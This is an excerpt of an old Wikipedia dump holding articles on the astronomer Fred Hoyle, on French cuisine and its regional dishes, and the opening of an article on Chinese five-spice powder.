'''Sir Fred Hoyle''' ([[June 24]], [[1915]] in [[Yorkshire]] &amp;ndash; [[August 20]], [[2001]] in [[Bournemouth]], [[England]]) was a [[United Kingdom|British]] [[astronomer]], notable for a number of his theories that run counter to current astronomical opinion, and a [[writer]] of [[science fiction]], including a number of books co-authored by his son [[Geoffrey Hoyle]]. He spent most of his working life at the [[Institute of Astronomy]] at [[University of Cambridge|Cambridge]], and was director of the institute for a number of years.

==Contribution to cosmogony==
An early paper of his made an interesting use of the [[Anthropic Principle]]. In trying to work out the routes of [[stellar nucleosynthesis]], he observed that one particular nuclear reaction, the [[Triple-alpha process]], which generated [[carbon]], would require the carbon nucleus to have a very specific energy for it to work. The large amount of carbon in the universe, which makes it possible for life to exist, demonstrated that this nuclear reaction must work. Based on this notion, he made a prediction of the energy levels in the carbon nucleus that was later borne out by experiment. 

His co-worker [[William Fowler]] eventually won the [[Nobel Prize for Physics]] in [[1983]] (with [[Subramanyan Chandrasekhar]]), but for some reason Hoyle’s original contribution was overlooked, and many were surprised that such a notable astronomer missed out. Fowler himself in an [http://nobelprize.org/physics/laureates/1983/fowler-autobio.html autobiographical sketch] affirmed Hoyle’s pioneering efforts: 

The concept of nucleosynthesis in stars was first established by Hoyle in 1946.  This provided a way to explain the existence of elements heavier than [[helium]] in the universe, basically by showing that critical elements such as carbon could be generated in stars and then incorporated in other stars and planets when that star &quot;[[stellar death|dies]]&quot;.  The new stars formed now start off with these heavier elements and even heavier elements are formed from them.  Hoyle theorized that other rarer elements could be explained by [[supernova]]s, the giant explosions which occasionally occur throughout the universe, whose temperatures and pressures would be required to create such elements.

==Rejection of the big bang==
While having no argument with the discovery of the expansion of the universe by [[Edwin Hubble]], he disagreed on its interpretation: Hoyle (with [[Thomas Gold]] and [[Hermann Bondi]], who he had worked with on [[radar]] in [[World War II]]) argued for the universe being in a &quot;[[Steady state theory|steady state]]&quot;.  The theory tried to explain how the universe could be eternal and essentially unchanging while still having the galaxies we observe moving away from each other.  The theory hinged on the creation of matter between galaxies over time, so that even though galaxies get further apart, new ones that develop between them fill the space they leave.  The resulting galaxy is in a &quot;steady state&quot; in the same manner that a flowing river is - the individual water molecules are moving away but the overall river remains the same. 
The theory was the only serious alternative to the [[Big Bang]] which agreed with key observations of the day, namely Hubble's [[Hubble's law|red shift observations]], and Hoyle was a strong critic of the Big Bang.  Ironically, he is responsible for coining the term &quot;Big Bang&quot; in a [[British Broadcasting Corporation|BBC]] radio programme, ''The Nature of Things'' while criticising the theory; the text was published in [[1950]]. 
Hoyle and other steady-statesmen offered no explanation for the appearance of new matter, other than postulating the existence of some sort of &quot;creation field&quot;, but argued that continuous creation was no more inexplicable than the appearance of the entire universe from nothing, although it had to be done on a regular basis.  In the end mounting observational evidence convinced most cosmologists that the steady state model was incorrect and the Big Bang the theory that agreed best with observations, although Hoyle clung to his theory, mostly through criticizing the accuracy of astronomers' observations.  In 1993, in an attempt to explain some of the evidence against the steady state theory, he presented a modified version called &quot;[[quasi-steady state cosmology]]&quot; (QSS), but the theory did not capture a significant audience.  
The evidence that resulted in the Big Bang's victory over the steady state model, at least in the minds of most cosmologists, included the discovery of the [[cosmic microwave background]] radiation, the distribution of &quot;young galaxies&quot; and [[quasars]] throughout the [[Universe]], a more consistent age estimate of the universe (for some time, to the considerable embarrassment of the Big Bang theory, the rocks in the earth appeared to be older than the universe) and most recently the observations of the [[COBE]] satellite, which showed that crucial disturbances in the early universe allowed for the creation of galaxies.

==Media appearances and scientific honours==
Hoyle appeared in a series of radio talks on astronomy for the [[BBC]] in the [[1950s]]; these were collected in the book ''The Nature of the Universe'', and he went on to write a number of other popular science books. He wrote some [[science fiction]]; most interesting is ''[[The Black Cloud]]'' in which it transpires that most intelligent life in the universe takes the form of interstellar gas clouds, who are surprised that intelligent life can form on planets, and a television series ''[[A for Andromeda]]''. In [[1957]] he was elected a Fellow of the [[Royal Society]], and he was knighted in [[1972]].

==Rejection of chemical evolution==
In his later years, Hoyle became a staunch critic of theories of [[chemical evolution]] to explain the [[Naturalism (Philosophy)|naturalistic]] [[Origin of life]].  With [[Chandra Wickramasinghe]], Hoyle promoted the theory that life evolved in space, spreading through the universe via [[panspermia]], and that [[evolution]] on earth is driven by a steady influx of [[virus]]es arriving via [[comet|comets]].

In his 1981/4 book ''Evolution from Space'' (co-authored with Chandra Wickramasinghe), he calculated that the chance of obtaining the required set of [[enzyme]]s for even the simplest living cell was one in 10&lt;sup&gt;40,000&lt;/sup&gt;.  Since the number of [[atom]]s in the known universe is infinitesimally tiny by comparison (10&lt;sup&gt;80&lt;/sup&gt;), he argued that even a whole universe full of primordial soup wouldn’t have a chance.  He claimed:

:The notion that not only the biopolymer but the operating program of a living cell could be arrived at by chance in a primordial organic soup here on the Earth is evidently nonsense of a high order.

Hoyle infamously compared the random emergence of even the simplest cell to the likelihood that &quot;a tornado sweeping through a junk-yard might assemble a Boeing 747 from the materials therein.&quot; Hoyle also compared the chance of obtaining even a single functioning [[protein]] by chance combination of [[amino acid]]s to a solar system full of [[blindness|blind]] men solving [[Rubik's Cube]] simultaneously.

This has been rejected by biologists on the basis that it is a [[straw man]] argument.  [[Richard Dawkins]], for example, wrote that &quot;If he'd said 'chance' instead of 'natural selection' he'd have been right. Indeed, I regretted having to expose him as one of the many toilers under the profound misapprehension that natural selection is chance.&quot;  [[The Blind Watchmaker|*]]  Note that one could say, in close analogy to Hoyle's position, that the chances of 92 protons and 143 neutrons coming together simultaneously in a stellar interior to form U&lt;sup&gt;235&lt;/sup&gt; is infinitesimal and therefore stellar nucleosynthesis of the heavy elements is impossible.  Of course, this is demonstrably not the case, as Hoyle knew.  Evolution of complex systems can occur by means of a ladder of ''stratified stability'', which greatly diminishes Hoyle's argument.  

The Nobel Prize-winning chemist [[Manfred Eigen]] (beginning in 1971 with an influential theoretical paper) and his collaborators have considered in some detail how a genetic code could get going.

==Other controversies==
Further occasions on which Hoyle aroused controversy included his questioning the authenticity of [[fossil]] ''[[Archaeopteryx]]'' and his condemnation of the [[Nobel Prize controversies#Controversial exclusions|failure]] to include [[Jocelyn Bell Burnell|Jocelyn Bell]] in the [[Nobel Prize]] award recognising the development of radio interferometry and its role in the discovery of [[pulsar]]s. Hoyle played an important role in determining the nature of the pulsing radio signals (from the pulsar), but was also excluded from the prize. Hoyle had a famous heated argument with [[Martin Ryle]] of the [[Cavendish Astrophysics Group|Cavendish Radio Astronomy Group]] about Hoyle's [[Steady state theory|Steady State Universe]] which somewhat restricted collaboration between the [[Cavendish Astrophysics Group|Cavendish Radio Astronomy Group]] and the [[Institute of Astronomy]] during the 1960s.

==Honours==
'''Awards'''
*[[Gold Medal of the Royal Astronomical Society]] ([[1968]])
*[[Bruce Medal]] ([[1970]])
*[[Henry Norris Russell Lectureship]] ([[1971]])
*[[Royal Medal]] ([[1974]])
*[[Klumpke-Roberts Award]] of the [[Astronomical Society of the Pacific]] ([[1977]])
*[[Crafoord Prize]] from the [[Royal Swedish Academy of Sciences]], with [[Edwin Salpeter]] ([[1997]])
'''Named after him'''
*[[Asteroid]] [[8077 Hoyle]]

==Fiction works==
* ''[[The Black Cloud]]'', [[1957]]
* ''[[Ossian's Ride]]'', [[1959]]
* ''[[A for Andromeda]]'', [[1962]]
* ''[[Fifth Planet]]'', [[1963]] (co-authored with [[Geoffrey Hoyle]])
* ''[[Andromeda Breakthrough]]'', [[1965]] (co-authored with [[John Elliott]])
* ''[[October the First Is Too Late]]'', [[1966]]
* ''[[Element 79 (book)|Element 79]]'', [[1967]]
* ''[[Rockets in Ursa Major]]'', [[1969]] (co-authored with Geoffrey Hoyle)
* ''[[Seven Steps to the Sun]]'', [[1970]] (co-authored with Geoffrey Hoyle)
* ''[[The Inferno (ISBN 006011987X)|The Inferno]]'', [[1973|10/1973]] (co-authored with Geoffrey Hoyle)
* ''[[The Molecule Men and the Monster of Loch Ness]]'', [[1973]] (co-authored with Geoffrey Hoyle)
* ''[[Into Deepest Space]]'', [[1974]] (co-authored with Geoffrey Hoyle)
* ''[[The Incandescent Ones]]'', [[1977]] (co-authored with Geoffrey Hoyle)
* ''[[The Westminster Disaster (ISBN 0060120096)|The Westminster Disaster]]'', [[1978|10/1978]] (co-authored with Geoffrey Hoyle)
* ''[[Comet Halley (ISBN 0312150989)|Comet Halley]]'', [[1985|11/1985]]

==Non-fiction works==
*''Nicolaus Copernicus'', Heinemann Educational Books Ltd., London, p. 78, [[1973]]
*''Astronomy and Cosmology: A Modern Course'', [[1975]], ISBN 0716703513  
*''Energy or Extinction? The case for nuclear energy'', [[1977]], Heinemann Educational Books Limited, ISBN 0435544306. In this provocative book Hoyle establishes the dependence of Western civilisation on energy consumption and predicts that nuclear fission as a source of energy is essential for its survival.
* ''[[The Intelligent Universe]]'', [[1983]]
*''Evolution from Space: A Theory of Cosmic Creationism'', 1984, ISBN 0671492632 
*Burbidge, E.M., Burbidge, G.R., Fowler, W.A. and Hoyle, F., Synthesis of the Elements in Stars, ''Revs. Mod. Physics'' '''29:'''547&amp;ndash;650, 1957, the famous B&lt;sup&gt;2&lt;/sup&gt;FH paper after their initials, for which Hoyle is most famous among professional cosmologists.
*Hoyle, F., The big bang in astronomy, ''New Scientist'' '''92'''(1280):527, November 19, 1981.
*Arp, H.C., Burbidge, G., Hoyle, F., Narlikar, J.V. and Wickramasinghe, N.C., The extragalactic universe: an alternative view, ''Nature'' '''346:'''807&amp;ndash;812, August 30, 1990.
*''Home Is Where the Wind Blows: Chapters from a Cosmologist's Life'' (autobiography) Oxford University Press [[1994]],  ISBN 0198500602

==Further reading==
*Alan P. Lightman and Roberta Brawer, ''Origins: the lives and worlds of modern cosmologists'', Harvard University Press, 1990.  A collection of interviews, mostly with the generation (or two) of cosmologists after Hoyle, but also including an interview with Hoyle himself.  Several interviewees testify to Hoyle's influence in popularizing astronomy and cosmology.
*Dennis Overbye, ''Lonely Hearts of the Cosmos: the scientific quest for the secret of the Universe'', HarperCollins 1991, Back Bay 1999 (with new afterword).  Very well-written (reads like a novel) biography-based account of modern cosmology.  Complementary to ''Origins.''
*Simon Mitton, ''Conflict in the Cosmos: Fred Hoyle's Life in Science'', Joseph Henry Press, [[2005]], ISBN 0309093139 or,  ''Fred Hoyle: a life in science'', Aurum Press, [[2005]], ISBN 1854109618
*Douglas Gough, editor, ''The Scientific Legacy of Fred Hoyle'', Cambridge University Press, [[2005]], ISBN  0521824486
*Chandra Wickramasinghe, ''A Journey with Fred Hoyle: The Search for Cosmic Life'', World Scientific Publishing, [[2005]], ISBN  9812389121
*Jane Gregory, ''Fred Hoyle's Universe'', Oxford University Press, [[2005]], ISBN 0198507917

==References==
*Ferguson, Kitty (1991). ''[[Stephen Hawking]]: Quest For A Theory of Everything''. Franklin Watts. ISBN 0553-29895-X.

==External links==
*[http://www.physicstoday.org/pt/vol-54/iss-11/p75b.html Obituary by Sir Martin Rees, ''Physics Today''] 
*[http://www.guardian.co.uk/obituaries/story/0,3604,540961,00.html Obituary in ''The Guardian'']

[[Category:1915 births|Hoyle, Fred]]
[[Category:2001 deaths|Hoyle, Fred]]
[[Category:Alumni of Emmanuel College, Cambridge|Hoyle, Fred]]
[[Category:Alumni of St. John's College, Cambridge|Hoyle, Fred]]
[[Category:British astronomers|Hoyle, Fred]]
[[Category:British science fiction writers|Hoyle, Fred]]
[[Category:British scientists|Hoyle, Fred]]
[[Category:Cosmologists|Hoyle, Fred]]
[[Category:Fellows of the Royal Society|Hoyle, Fred]]

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  <page>
    <title>French cuisine</title>
    <id>11002</id>
    <revision>
      <id>41746825</id>
      <timestamp>2006-03-01T13:16:42Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/61.17.133.77|61.17.133.77]] ([[User talk:61.17.133.77|talk]]) to last version by RexNL</comment>
      <text xml:space="preserve">{{cuisine}}
'''French cuisine''' is characterized by its extreme diversity. French cuisine is considered to be one of the world's most refined and elegant styles of cooking, and is renowned for both its classical (&quot;haute cuisine&quot;) and provincial styles. Many of the world's greatest chefs, such as [[Taillevent]], [[François Pierre La Varenne|La Varenne]], [[Marie-Antoine Carême|Carême]], [[Auguste Escoffier|Escoffier]], or [[Paul Bocuse|Bocuse]] were masters of French cuisine. Additionally, French cooking techniques have been a major influence on virtually all Western cuisines, and almost all culinary schools use French cuisine as the basis for all other forms of Western cooking. 

==Diversity==
Traditionally, each region of [[France]] have their own distinctive cuisine:
*Cuisine from northwest France uses [[butter]], [[cream (food)|cream]] (''[[crème fraîche]]''), and [[apple]]s; 
*Cuisine from southwest France uses [[duck]] fat, [[foie gras]], [[porcini]] [[mushroom]]s (''cèpes''), and [[gizzard]]s;
*Cuisine from southeast France uses [[olive oil]], [[herb]]s, and [[tomato]]es, and shows [[Italian cuisine]] influences. 
*Cuisine from northern France uses [[potatoes]], [[pork]], [[endive]]s and [[beer]], and shows [[Flemish cuisine]] influences.
*Cuisine from eastern France uses [[lard]], [[sausage]]s, [[beer]], and [[sauerkraut]], and shows [[German cuisine]] influences. 

Besides these five general areas, there are many more local cuisines, such as [[Loire Valley]] cuisine (famous for its delicate dishes of freshwater fish and Loire Valley white wines), [[Basque cuisine]] (famous for its use of tomatoes and [[Chile pepper|chili]]) and the cuisine of [[Roussillon]], which is similar to [[Catalan cuisine]]. With the movements of population of contemporary life, such regional differences are less noticeable than they used to be, but they are still clearly marked, and one travelling across France will notice significant changes in the ways of cooking and the dishes served. Moreover, recent focus of French consumers on local, countryside food products (''produits du terroir'') means that the regional cuisines are experiencing a strong revival in the early [[21st century]], especially as the [[slow food]] movement is gaining popularity.

What is often known outside of France as &quot;French cuisine&quot; is the traditionally-elaborate [[haute cuisine]], served in restaurants for high prices. This cuisine is mostly influenced by the regional cuisines of [[Lyon]] and northern France, with a marked touch of refinement. It should be noted, however, that average French people do not eat or prepare this cuisine in their everyday life. As a general rule, elderly people tend to eat the regional cuisine of the region where they are located (or the region where they grew up), while younger people will be more inclined to eat dishes from other regions and foreign dishes.

[[French wine]] and [[French cheese]] are an integral part of French cuisine (both high cuisine and regional cuisines), both as ingredients and accompaniments. France is known for its large ranges of wines and cheeses.

Exotic cuisines, particularly [[Chinese cuisine]] and [[Vietnamese cuisine]] and some dishes from former colonies in Northern Africa ([[couscous]]), have made inroads.

==Ingredients==
French regional cuisine uses locally-grown vegetables. Let us cite:
* [[potato]]es
* [[green bean]]s
* [[carrot]]s
* [[Leek (vegetable)|leek]]s
* [[turnip]]s
* [[aubergine]]s ([[eggplant]]s in American English)
* [[courgette]]s ([[zucchini]] in American English)
* [[Mushroom]]s such as ''[[champignon|Champignons de Paris]]'', [[oyster mushroom]]s (''pleurotes''), [[Porcini]]s (''bolets'' and ''cèpes''), [[truffle]]s, and other mushrooms, in order of increasing rarity and price.

Common fruits include:
* [[Orange (fruit)|orange]]s
* [[tomato]]es
* [[tangerine]]s
* [[peach]]es
* [[apricot]]s
* [[apple]]s
* [[pear]]s

Meats commonly consumed include:
* [[chicken]]
* [[turkey (bird)|turkey]]
* [[duck]] and [[Guinea fowl]] are less common
* [[goose]], mostly a holiday dish
* [[beef]]
* [[veal]]
* [[pork]]
* [[mutton]] (generally, [[lamb]]) is often a holiday dish
* [[rabbit]]

[[Horse meat]] is available from special butcher stores (''boucheries chevalines''), but a minority of people consume it.

Seafood commonly consumed include:
* [[cod]]
* [[sardine]] (often canned)
* [[tuna]] (often canned))
* [[salmon]] used to be a luxury food but is now quite common.
* [[trout]] 
* [[mussels]]
* [[oysters]], mostly a holiday dish
* [[shrimps]], [[calamari]] etc.

Fresh fruit and vegetables, as well as fish and meat, are purchased either from [[supermarket]]s and grocery stores or smaller markets. Street markets are held on certain days in most localities; towns of a certain importance generally have a more permanent &quot;covered market&quot; in which food shops, especially meat and fish retailers, have better shelter than the periodic street markets. Generally, a street market for vegetables takes places on certain days outside such &quot;covered markets&quot;.

==Present-day food and drink in France==
For French people, cooking is part of culture, and cooking and good food are well appreciated. The French generally take a high pride in the cuisine of their country, and some, particularly in the older generations, are reluctant to experiment with foreign dishes.

===Structure of meals===
The normal meal schedule begins by a light [[breakfast]] in the morning, generally consisting of:
* [[bread]] with jam and butter spreads (''tartines''), often replaced nowadays by [[breakfast cereal]]s,
* often, [[coffee]] or more rarely [[tea]],
* possibly some fruit.
Hotel breakfasts often contain [[croissant]]s, but most people eat croissants at breakfast at home only on special occasions.

[[Lunch]] is had at some point between noon and 2 {{PM}}, and dinner in the evening (often, 7.30 {{PM}}). A normal complete meal consists of:
* appetizers, often consisting of ''[[crudités]]'' (raw vegetables), or a salad;
* a main dish (generally, meat or fish with a side of vegetables, pasta, rice or fries);
* some [[cheese]] and/or dessert (fruit or cake).
Meals, particularly lunch, are often followed by a cup of [[coffee]].

Alcoholic products may be consumed as follows:
* The meal may be preceded by an ''apéritif'', typically some dose of flavoured [[Vermouth]] or some [[Pastis]].
* Wine is often drunk with the meal, though this is rarer today. Occasionally, people consume beer though the frequency depends on the region of the country. Typically, wine or beer is chosen to match with the food.
* The meal may be followed by a ''digestif'' — some small dose of [[liqueur]] or other high alcoholic spirit, but this is uncommon.

Festive meals may include several main dishes. Some meals incorporate a ''trou normand'' — some small dose of a highly alcoholic liquor or [[sorbet]], perhaps [[calvados]], which props up appetite for what follows.

In large cities most working people and students eat their lunch at a cafeteria. In the case of smaller companies, it is commonplace that the employer distributes lunch vouchers (''Ticket Restaurant'', etc.) that workers use to pay for meals in neighbouring budget restaurants. It is to be noted that corporate and school cafeterias normally serve complete meals (appetizers, main dish, dessert); it is not usual for students to bring sandwiches. In smaller cities and towns, some working people leave their offices to return home for lunch, generating four rush hours during the day (8 {{AM}}, 12 {{PM}}, 2 {{PM}}, and 6 {{PM}}).

With contemporary lifestyle, especially the reduced number of [[housewife|housewives]], the French rely a lot more on canned or frozen foods for weekdays. Cooking evening or weekend meals from fresh ingredients is still popular. In most cities, there are [[street market]]s selling vegetables, meat and fish, several times a week; however, most of those products are now bought at [[hypermarket|hyper-]] or [[supermarket]]s.

===Drink===
Traditionally, France has been a culture of [[wine]] consumption. While this characteristic has lessened with time, even today, many French people drink wine daily [http://www.inra.fr/Internet/Departements/ESR/publications/iss/pdf/iss97-3.pdf]. The consumption of low-quality wines during meals has been greatly reduced. [[Beer]] is especially popular with the youth. Other popular alcoholic drinks include [[pastis]] (in the south), an [[aniseed]]-flavoured beverage drunk diluted with cold water, especially in the summer, or [[cider]] in the northwest.

The legal drinking age for most spirits is 16. However, it is not customary that shopkeepers or bartenders check for the age of consumers, and teenagers eating with their family in restaurants will be served wine if the family requests so. On the other hand, it is very unusual to witness the kind of public inebriation that is customary in English or Scandinavian cities on Saturday nights. Usually, parents tend to forbid the consumption of alcohol to their children before they reach their early teens. Students and young adults are known to drink heavily during parties ([[vodka]] and [[tequila]] being very popular), but usually drunkenness is not displayed in public. Public consumption of alcohol is legal, but driving under the influence can result in severe penalties.

==Divisions of restaurant cuisine==
Schematically, French [[restaurant]] cuisine can be divided into:

===Cuisine bourgeoise===
''Cuisine bourgeoise'', which includes all the classic French dishes which are not (or no longer) specifically regional, and which have been adapted over the years to suit the taste of the affluent classes. This type of cooking includes the rich, cream-based sauces and somewhat complex cooking techniques that many people associate with French cuisine. At the 'top end' of this category is what is known as [[haute cuisine]], a highly complex and refined approach to food preparation and kitchen management.

Because this kind of cuisine is what is often served abroad under the name of &quot;French cuisine&quot;, many foreigners mistakenly believe that typical French meals involved complex cooking and rich, un-dietetic dishes. In fact, such cooking is generally reserved for special occasions, while typical meals are simpler.

===Cuisine du terroir===
''Cuisine du terroir'', which covers regional specialities with a strong focus on quality local produce and peasant tradition. Many dishes that fall in this category do not stand out as stereotypically &quot;French,&quot; sometimes because regional cooking styles can be quite different from the elaborate dishes seen in French restaurants around the world.

===Cuisine nouvelle===
''Cuisine nouvelle'' or ''nouvelle cuisine'', which developed in the [[1970s]] as a reaction to traditional cuisine, under the influence of chefs such as [[Michel Guérard]]. This type of cooking is characterized by shorter cooking times, much lighter sauces and dressings, and smaller portions presented in a refined, decorative manner. Its modern, inventive approach sometimes includes techniques and combinations from abroad (especially Asia) and has had a profound influence on cooking styles all over the world.

===Today===
Food [[fashion]]s and trends in France tend to alternate between these three types of cuisine; [[As of 2005|today (2006)]] there is a distinct focus on ''cuisine du terroir'', with a return to traditional rustic cooking and the &quot;forgotten&quot; flavours of local farm produce. The &quot;fusion&quot; cuisine popular in the English-speaking world is not widespread in France, though some restaurants in [[Paris|the capital]] have a &quot;fusion&quot; theme, and many modern French chefs are influenced by a variety of international cooking styles.

[[Vegetarian]]ism is not widespread in France, and few restaurants cater for vegetarians. [[Vegan]]ism is hardly known or represented at all.

One contentious subject, since the 1980s, has been the quick development of [[fast-food]] chains, which have been perceived by some as a threat to traditional French cuisine as well as symbols of [[cultural imperialism]], [[factory farming]] and [[junk food]] (see article on [[Jose Bove|José Bové]]). These chains are popular and [[McDonald's]] alone has around [http://www.businessweek.com/magazine/content/03_02/b3815047.htm 1000 restaurants in France]. In any case, fast-food chains and a large number of specialised restaurant chains have become part of the French cuisine landscape.

==Foreign cuisines==
Foreign cuisines popular in France include:
* Dishes from the former French colonies in North Africa, especially [[couscous]], are found everywhere in France due to the large number of immigrants of North African origin.
* [[Italian cuisine|Italian]] food, more particularly [[pizza]] and [[pasta]] (especially in [[Nice]] and the rest of the [[Cote d'Azur]], which has a large Italian population). There are also many pizza chains.
* [[Spanish cuisine|Spanish]] food, more particularly [[paella]].
* [[Vietnamese|Vietnamese]] and [[Cuisine of China|Chinese]] food. Generic Asian restaurants serving a variety of Chinese, Vietnamese, Thai and other Asian dishes are fairly commonplace.
* [[Turkish cuisine|Turkish]] food, especially [[Döner kebab]], called sandwich grec (Greek sandwich) in France, is widely popular in urban areas.
* [[Indian cuisine|Indian food]].
* Restaurants offering [[Japanese cuisine|Japanese]] dishes such as [[sushi]] or [[yakitori]] are getting increasingly popular in urban centers, though the majority of the French population objects to eating raw fish, save for the marked exception of oysters. Most of such restaurants in France nowadays are actually operated by people of Eastern Asian non-Japanese origin.
* American-style [[hamburger|hamburgers]] and [[french fries | fries]] are popular dishes sold in chains like [[McDonald's]] and the Franco-Belgian [[Quick (restaurant chain) | Quick]].

As a general rule, foreign &quot;exotic&quot; restaurants can be more readily found in large urban centres.

==Notable dishes==
===Famous French dishes===
* French [[bread]]s
* [[Blanquette de veau]]
* [[Boeuf a la mode]]
* [[Coq au Vin]] (rooster simmered in wine)
* [[List of French cheeses|Cheeses]]
* Lamb [[Navarin]]
* [[Oyster]]s are generally eaten raw; cooking oysters is uncommon.
* [[Pot-au-feu]], a kind of [[beef]] [[stew]].
* [[Steak au poivre]]
* [[Soufflé]]

===Quick food===
The following dishes can generally be ordered in [[brasserie]]s:
* ''Steak frites'' ([[steak]] with fries; fries can often be replaced by ''haricots verts'' — [[string bean]]s);
* ''Poulet frites'' ([[chicken]] with fries)
* ''Croque monsieur'' (a grilled Swiss cheese sandwich with a slice of ham)

Generally speaking, ''frites'' ([[French fries]]) are a common side order for lower-end French-style restaurants. The French generally believe that fries are of [[Belgium|Belgian]] origin, although there is no evidence for this origin; a typically Belgian dish is steamed mussels with a side of fries.

A typical simple, cheap, quick meal consists of [[pasta]] (often [[spaghetti]]) with [[tomato sauce]].

===Common canned food===
* [[Cassoulet]]
* [[Ravioli]]s (Italian specialty)
* [[Paella]] (Spanish specialty)
* [[Couscous]] (Northern African specialty)
* [[Choucroute garnie]]

Most dishes, including relatively sophisticated ones, are available as canned or frozen food in supermarkets. These products are sometimes endorsed by famous chefs.

===Common savory pies===
* [[Tarte flambée|Flammekueche]] from [[Alsace]] (crème fraîche, onions, and [[lardon]]s)
* [[Famiche]] from [[Artois]]-[[Picardy]] (with leeks or Maroilles cheese)
* [[Quiche]] from [[Lorraine]] (added ingredients may include ham, cheeses and mushrooms)
* [[Pissaladière]] from [[Nice]] (with caramelized onion, anchovies and dark olives)
* [[Tarte flambée]]

===Famous but untypical dishes===
The following dishes are considered typical of French cuisine in some foreign countries, but actually are infrequently eaten:
* [[Frog legs|Cuisses de grenouilles]] (Frog legs)
* [[Escargots]] (edible snails)

===Desserts===
* [[Crêpe]]s (a speciality of [[Brittany]])
* [[Chocolate Mousse|Mousse au chocolat]]
* [[Pastry|Pastries]]
**  [[Mille-feuille]]s (flakey puff pastry)
**  [[Pâte à choux]] pastry (e.g. [[eclair]]s and [[profiteroles]] or cream puffs)
**  [[Baba au rhum]]
* [[Tart]]s (e.g. tarte Tatin with caramelized apples and a puff pastry base)

==Specialties by region/city==
[[Image:Salade_landaise_Chez_Papa.jpg|thumb|right|250px|The ''salade landaise'' is a popular dish mixing together typical Southwestern ingredients: [[gizzard]]s, [[pine nut]]s, and possibly duck or goose ''[[confit]]''.]]
* [[Alsace]]:
** [[Choucroute garnie]] ([[sauerkraut]] with sausages, salt pork and potatoes)
** [[Spätzle]]
** [[Baeckeoffe]]
** [[Kouglof]]
** [[Bredela]]
** [[Beerawecka]]
** [[Mannala]]

* [[Alps]]
** [[Raclette]] (the cheese is melted and served with potatoes, ham and often dried beef)
** [[Fondue savoyarde]] (fondue made with cheese and white wine into which cubes of bread are dipped)
** [[Gratin dauphinois]]
** [[Tartiflette]] (a Savoyard gratin with potatoes, [[Reblochon]] cheese, cream and pork)

* [[Artois]]-[[Picardy]]:
** [[andouillette]] of [[Cambrai]]
** [[Carbonnade]] (meat stewed in beer)
** [[Potjevlesch]] (a four-meat terrine)
** [[Waterzoï]] (a sweet water fish stew)
** [[Escavêche]] (a cold terrine of sweet water fish in wine and vinegar)
** [[Hochepot]] (four meats stewed with vegetables)

* [[Auvergne (province)|Auvergne]]:
** [[Tripoux]] (tripe 'parcels' in a savoury sauce)
** [[Truffade]] (potatoes sautéed with garlic and young [[Tomme cheese]])
** [[Aligot]] (mashed potatoes blended with young [[Tomme cheese]])
** [[Pansette de Gerzat]] (lamb tripe stewed in wine, shallots and blue cheese)

* [[Brittany]]:
** [[Crêpe]]s
** [[Far Breton]] (a flan with prunes)
** [[Kik ar Fars]] (boiled pork dinner with a kind of dumpling)
** [[Kouign amann]] (a type of [[galette]] made flakey by a very high proportion of butter)

* [[Burgundy]]: 
** [[Boeuf Bourguignon]] ([[beef]] stewed in red wine)
** [[Escargots]] de [[Bourgogne]] (snails baked in their shells with parsley butter)
** [[Fondue bourguignonne]] (fondue made with oil in which pieces of meat are cooked)
** [[Gougère]] (cheese in chou pastry)
** [[Pochouse]] (fish stewed in red wine)

* [[Lorraine (région)|Lorraine]]:
** [[Quiche Lorraine]]
** [[Potée Lorraine]]
** [[Pâté Lorrain]]

* [[Côte d'Azur]]/[[Provence]]:
** [[Bouillabaisse]] (a stew of mixed Mediterranean fish, tomatoes, and herbs)
** [[Ratatouille]] (a vegetable stew with sautéed eggplant, zucchini, yellow squash, bell peppers, tomato and basil)
** [[Pieds paquets]] Lambs' feet and tripe 'parcels' in a savoury sauce

* [[Nimes]]:
** [[Brandade]] de morue (puréed salt cod)

* [[Normandy]]:
** [[Tripe]]s à la mode de [[Caen]] (tripe cooked in [[cider]] and [[Calvados (spirit)|calvados]]) 
** [[Matelote]] (fish stewed in cider)

* Southwest:
** [[Cassoulet]] (a dish made with [[bean]]s, sausages and preserved duck or goose)
** [[Foie gras]] (the [[liver]] of a force-fed [[duck]] or [[goose]])

===Un-French dishes===
The following dishes may be thought of as French but really are not.
* [[Crème brûlée]], literally &quot;burnt cream,&quot; actually invented in [[England]], or perhaps in [[Spain]].
* [[Crêpes Suzette]] invented in the [[United States of America]] by a French chef.
* [[Peach Melba]] invented in [[England]] by chef Auguste Escoffier for an Australian opera diva.

==See also==
{{cookbook}}
*[[Cuisine]], [[Haute cuisine]]
*[[Antoine Carême]] 
*[[Auguste Escoffier]]
*[[French paradox]]
*[[List of recipes]]
*[[List of French cheeses]]
*''[[Larousse Gastronomique]]''

==External links==
* [http://www.frenchentree.com/france-brittany-restaurants-shops Breton Recipes]
* [http://www.gitesandmore.co.uk/Normandy%20Recipes.htm Norman Recipes &amp; Gastronomy]
* [http://www.mediterrasian.com/cuisine_of_month_provence.htm Provençal Cuisine Guide and Recipes]
* [http://www.provence-hideaway.com/422.html Provence-Hideaways] Provençal Cuisine

[[Category:French cuisine|*]]

[[af:Franse kookkuns]]
[[da:Fransk madlavning]]
[[de:Französische Küche]]
[[eo:Franca kuirarto]]
[[fr:Cuisine française]]
[[it:Cucina francese]]
[[he:מטבח צרפתי]]
[[nl:Franse keuken]]
[[ja:フランス料理]]
[[pt:Culinária da França]]
[[sl:Kategorija:Francoska kuhinja]]
[[zh:法国烹饪]]</text>
    </revision>
  </page>
  <page>
    <title>Five-spice powder</title>
    <id>11003</id>
    <revision>
      <id>35043637</id>
      <timestamp>2006-01-13T18:31:46Z</timestamp>
      <contributor>
        <ip>24.57.133.195</ip>
      </contributor>
      <text xml:space="preserve">'''Five-spice powder''' (&amp;#20116;&amp;#39321;&amp;#31881;, ''w&amp;#468;xi&amp;#257;ngf&amp;#283;n'' in [[hanyu pinyin]]) is a convenient seasoning for [[Chinese cuisine]], particularly [[Cantonese cuisine]]. It incorporates the five basic flavours of Chinese cooking &amp;mdash; [[sweet]], [[sour]], [[Bitter (taste)|bitter]], [[wiktionary:pungent|pungent]], and [[salty]].
It consists of China Tung Hing [[cassia|cinnamon]] (actually a type of cassia), powdered [[cassia]] buds, powdered [[star anise]] and [[anise]] seed, [[ginger root]], and ground [[clove]]s.
Another recipe for the powder consists of [[cinnamon]], [[black pepper]], [[clove|cloves]], [[fennel]] seed, and [[star anise]].  [[Szechuan pepper]] can also be used.  It is used in most recipes for Cantonese roasted [[duck]], as well as [[beef]] [[stew]].

